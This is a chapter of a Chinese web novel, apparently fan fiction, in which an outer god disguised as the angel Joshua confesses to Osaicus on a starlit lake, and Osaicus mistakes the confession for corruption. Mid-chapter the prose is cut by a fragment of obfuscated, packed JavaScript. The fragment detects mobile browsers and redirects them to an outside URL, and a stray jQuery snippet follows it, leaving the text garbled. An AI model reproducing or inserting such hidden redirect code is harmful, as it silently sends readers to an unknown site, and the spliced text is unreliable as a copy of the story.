‘师弟跟我表白了。’
‘是的,祂找了个超级浪漫的时机,划着独木舟在湖面星空里和我表白了。’
文字到底要怎样排列组合,才能形成这种抽象的表达。
奥赛库斯大脑空白,奥赛库斯耳边嗡嗡作响。
听听!这是人话吗?!
‘啊啊啊啊啊——’一万只土拨鼠在脑子里尖叫,‘约约宝!牛顿再世!爱因斯坦!你为什么会做出这种事!物理学没教这个吧!这题超纲了啊啊啊啊——’
像是看出了奥赛库斯的惊恐,约书亚补充了一句,仿佛读心一般精准命中:
“虽然浪漫主义超出了我擅长的实践范畴,但我会尽力的,如果你觉得没问题的话——创生之柱里那片刚刚诞生的崭新星系就用你的名字命名,怎么样?是我观测到的,名称恰好还没有发布。”
超星主宰微敛双眸,掩饰深邃瞳孔中正在聚合新生的一片星团——对星域的改造会反应在祂的意志体上。
虽然奥赛库斯肯定看不出来,但祂还是不要太过明显为好。
是的,说到做到的实践派外神当场捏了一个星系用来冠名,自己捏的怎么能不算观测到的呢?
见师兄仍处于两眼发直的状态,约书亚思索了一会儿,觉得星系和永恒的宇宙比较起来,寿命还是太短暂了。
不够,这不够,需要加码。
“你考虑的对,”祂沉声说,“确实,我思虑不周,星球有新生自然有衰亡,怎能寄托姓名?不如这样,我找一条基本定理,改成你的名字……如此一来,以后不论文明衰亡亦或是新生,时间轴上都会永恒篆刻着你……”
“……”眼看“奥赛库斯”就要超脱时间,名字象征的本人却已经彻底石化。
这还是祂认识的约约宝吗?
奥赛库斯双手撑着船沿,艰难地防止自己晕厥过去,两眼昏花幻视出种种诡异的场景,诸如人类课堂中循循善诱的导师敲了敲黑板说今天我们来学习奥赛库斯定律、宇宙中用泡泡做身体的外星生命幼崽考前集体把祂的名字写在红色牌匾上恭恭敬敬地祈求高分、不擅长科目的全宇宙学生都在痛骂奥赛库斯乱命名定律……
‘好刺激,感觉心脏在爆炸。’
约书亚,不要突然发癫啊!
而且你说这种话不怕下一秒被白造天降雷火劈死吗!难道原著里绝世天才约约宝连名字都没留下就死得只剩一个遗物留在永恒烈阳大教堂,真实原因是勇过了头被白造干掉的吗!
这种事情,绝对不可以啊!
“这种事情,绝对不可以啊——!!!”
恰好此时,奥赛库斯脑海中炸响一道悲怆的呐喊,与祂的心声契合,同时同地异口同声地发出破防之音,还伸出了尔康手!
高维俯视者吱哇乱叫,狂拍奥赛库斯的心灵宇宙大门:“主!听得见吗主!千万别被这个诡计多端的家伙迷惑了!绝对绝对不能答应祂啊——!!!”
‘你不是在追逐牢帝吗?’奥赛库斯一怔。
高维俯视者急得不行:“您怎么还在关心这些小破事!先关注眼下啊!主,您听我说,眼前这个家伙黑心无比天天嘲讽兄弟姐妹还穷得掉渣所有身家都拿去做科研!还盗用别人的捏脸不付版权费!这么一个抠货您绝对绝对不能和祂在一起!”
回想起奥赛库斯的感情史,高维俯视者又连忙补充道:
“让祂当小三小四也不行!总之什么都不行!您要是嫌白造无趣我这里还有多多的帅哥!都是以前在外太空认识的旧日家的天使!各个盘靓条顺家世清白!您听我的先把这家伙踹进湖里咱们回神国然后我手书一封保证不息的呓语马上发十八个男模进地球给您唱跳rap——”
‘我脑子很乱,糕糕宝你小点声啊!’奥赛库斯捂脸,‘还有不息的呓语为什么会有那么多男模啊祂一天天都在呓语什么!不对,你为什么对约约宝意见那么大啊!你俩总不可能认识吧?!’
虽然奥赛库斯只是晕乎乎地随口吐槽,但这句话可把光顾着充当感情绊脚石的高维俯视者吓了一跳。
外神悚然一惊,干咳一声,意识到自己失言了,赶紧找了个理由给奥赛库斯上眼药:
“……咳,那什么,我不是看过您心灵宇宙里的《诡秘之主》嘛,里面仰望星空的角色一个个都被污染了,这家伙搞出一整片实时星空投影能是什么好东西——”
等等?
奥赛库斯突然回过神。
星空投影?
对了,约书亚说过,这个地方是——天文研究所?
为什么大地上会有天文研究所?
如果是科研基地,建在格里沙的神国里不是更方便吗?
而且祂说在植物研究所培育出来要送给自己的蔷薇花,却长在这个湖泊旁边,说明植物研究所就在此地!
对啊,建在大地上,而且生态环境这么好,这里应该是“植物研究所”才对!
而且祂摔下来这么久了,格里沙却一点反应也没有,好像根本没发现祂在这里的样子——
难道说——!
奥赛库斯不太灵光的小脑袋瓜此刻急速旋转着,在分析约书亚种种异常时将智商发挥到了极致!
‘难道说,聪明盖世的约约宝研究完所有科研项目,太过无聊试图探索星空之外的知识,却不小心被星空污染了,于是秘密将这个植物研究所改造成了天文研究所……表面上做科研,实际上是和外神相互沟通……’
一切都渐渐清晰了,奥赛库斯觉得自己将所有蛛丝马迹都串联起来了,
‘有外神帮助,所以白造注意不到此地,无意间掉下来的我也就因此没被格里沙找到,而约书亚方才诡异表白的ooc行为,其实是被可恶的外神污染了——!’
‘所以高维俯视者才会突然出声吧!祂对格里沙都没意见,还安利不息的呓语家的男模天使,怎么会对约书亚反应那么大?想必是发现端倪但不能声张!万一激怒了那个幕后的外神,双方打起来的话,约约宝一个序列一卡在旧日之间恐怕性命难保!’
什么星空告白,什么你的名字,都是诡计多端的外神在污染可爱无辜纯洁的师弟——!
奥赛库斯,悟了!
原著中约书亚“英年早逝”的命运狠狠给了祂心脏一锤!奥赛库斯,必须采取行动!
只见独木舟上,那名收到告白的金发天使忽然神情一肃,双手沉稳有力地向前一伸,狠狠地攫住了白色头发天使的肩膀!
“师弟,快醒过来啊!”奥赛库斯用尽全身力气摇晃约书亚,连带着独木舟都晃荡起来,一圈圈涟漪把平静的湖面都划破了,“看着我的眼睛!看着我!不要看星空!醒过来啊——”
约书亚:“……?”
事情的发展超出了一切逻辑的范畴,超星主宰也不禁错愕了一瞬!
就是这么短短的一瞬,独木舟终于失去了平衡,哗啦一声侧翻,两名天使噗通地掉进了湖中!
而湖面上荡漾着的整片星空,像是被戳了个洞似的,忽的旋转起来,向祂们落入湖中激起的漩涡收缩,化作一条条耀眼的光带,追逐着祂们的身影,仿若游鱼翩然的裙尾。
……
清澈见底的水下,竟然是触不到底的深渊吗?
“……”
奥赛库斯耳畔的声音变得很模糊,咕噜咕噜的水声包裹着鼓膜,视野也朦朦胧胧的,眼前熟悉的脸庞忽然变得很陌生,像是湖水洗去了蒙在约书亚眼前的雾气,祂眼中是梦境一样的紫色,也是非常遥远的星空。
约书亚没有动,任凭祂们漆黑的深渊沉去,祂只是注视着奥赛库斯,那眼神像夏夜的繁星俯瞰大地,发觉观星人睡着了,便静静为祂盖上天穹的被褥。
观星人是谁?
像是有意要违反物理常识似的,湖底没有四面八方而来的重压,被水流包裹不断下坠的奥赛库斯反而觉得身躯越来越轻,飘飘然的,像是飞上了太空。
祂想说观星人是约书亚,祂的异常就证明了一切,可直觉却无端冒出来一句:“观星人是我。”
是我?
那垂眸的星空……又是谁?
有那么一瞬间,祂触碰到了隔绝着真相的无形之膜。
可现在还不是时候。
约书亚忽然抓着祂的手,往上游去。
浅湖下方连接的空洞其实直通地心,参考了格蕾嘉莉挖穿屏障引出冥河支流的思路,超星主宰在此地开凿了仿若地狱入口的深井,湖是它的伪装,漂浮的星空虚影是礼物,也更是封锁深井的“门”。
‘……是我的失误,冲动行事确实是一种错误。没有考虑更多外部因素的影响,产生了不必要的误解,’
超星主宰冷静地分析着,祂有些遗憾,比撞到灰雾与源质失之交臂还要遗憾,
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15736217|160571||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>‘时机总会再来,等这段合作结束,回归宇宙,到那时……不过,目前暂且不需要告诉祂。’
所以,祂什么也没有说,只是眨了一下眼睛,让翻腾在漩涡里,坍缩为无比凝练的光带的点点星辰重现本来的模样。
于是,在奥赛库斯从幽深的水下向上游出的那段时间里,从地狱之眼里重返人间的那段路途里,祂看到了时间在倒流。
宇宙在膨胀,宇宙也终会收缩。
自宇宙大爆炸伊始,从奇点抛射出无数物质伊始,宇宙无穷无尽漫无目的地放大着,星辰在奔跑,空间在生长,而终有一天,它会触及极限,于是物质又调转方向,向内奔跑,直到星辰与星辰之间的距离缩小到看不见,直到极度的引力撕裂一切,它们重新糅合为一体,回归奇点。
一切离开的远去的,终会在宇宙尽头相见。
奥赛库斯看见的瞬间,恰恰是那些星辰之间失去了稳固的距离,被过于亲密的拥抱而撕裂,流转为一条条裂纹般的光带。
而当约书亚带着祂,重新游向人间,那些互相碰撞杂糅的光带忽然被按下了返回键,它们像波纹般四散,在看不到尽头的湖面荡漾开来。
祂看见繁星在生长,祂看见光在穿梭,当水面将近时,祂甚至能看见掠过眼前的某颗星球上,有生命在苏醒。
可星辰太多,宇宙太浩渺,刹那间祂错过了那些拥有柔软鱼尾的生命,和冰蓝色的星球就此作别。
约书亚仍带着祂向上游去,星辰的歌声也渐渐响起来,终于,当祂们破水而出的那一刻,宇宙从毁灭重回新生。
“……”
呼吸着干燥的空气,奥赛库斯捋了捋被水渍黏在额头上一缕长发,忽然也很仰望天空。
但是伟大的神国挡住了夜幕,祂看不见故乡的月亮,于是失意者下意识垂眸,在身边的星河中寻找寄托思念的影子,尔后祂便看到身边的人。
祂的白发如月光般皎洁。
‘……约书亚在水下时的那种陌生感消失了,祂又回到了我身边,像脱掉了一件衣裳,像揭去了一张面具,变成我熟悉的样子。’
像是星辰从死到生,祂从深井到人间,以古老时代的传说为名,以血与肉糅合为身躯,星辰的神灵从天上坠落,成为人类。
祂们以人类之名,以人类之眼,静静地注视着互相瞳孔中无尽的星空。
*
片刻后。
因为裙子全被打湿,疯狂打喷嚏的奥赛库斯被约书亚强行抱回了天文研究所(尽管奥赛库斯一直嚷嚷着搞天文不吉利让约书亚改掉)。
折腾半天事情又回归了本来的发展路线,奥赛库斯一脸羞耻地换上了师弟的衣服,在约书亚整理文件时一直喋喋不休地缠着祂,试图让师弟放弃探索星空。
“约约宝!研究只是一时的,生命安全才是永久的!咱们现在找点别的课题做,等时机到了咱们反杀出去,拳打外神脚踢旧日,到时候你爱怎么研究星空就怎么研究星空!”
奥赛库斯苦口婆心地劝解着,
“而且以后你还可以和伯特利组队啊!反正门途径也是要去星空的嘛!咱们有的是机会!留得青山在不怕没柴烧!”
祂每说一句,约书亚就点一次头,以表祂听进去了。
可惜奥赛库斯不信。
甚至阻挠祂回神国,生怕白造闻到祂身上的外神味儿把祂一道雷劈死。
被逼无奈的约书亚只能又执行起了原先的计划——换了一艘新船,划到白沙岸上,和奥赛库斯看藏在细白沙石下面的庞大黄金星图。
“虽然、虽然群星确实是很美,我也忍不住会期待坐着飞船什么的穿梭星空……”
困意上涌,抱着熔铸黄金太阳的奥赛库斯打了个哈欠,默默把脑袋靠在了约束肩膀上,絮絮叨叨地说着,
“但是、但是……”
“但是什么?”
“……但是约约宝也要一起嘛。”
所以,你不要践行命运的轨迹,你要活到第四纪,第五纪第六纪第七纪,和我一起活下去。
陷入沉睡的天使并没有发现,被祂倚靠着的外神忽然无声地弯了下嘴角。
‘一起去看星空?’
约书亚想着,小心翼翼地偏过了脑袋,注视着沉睡者的眉眼。
‘好吧,是我没有告诉你。’
……其实,群星一直就在你身边。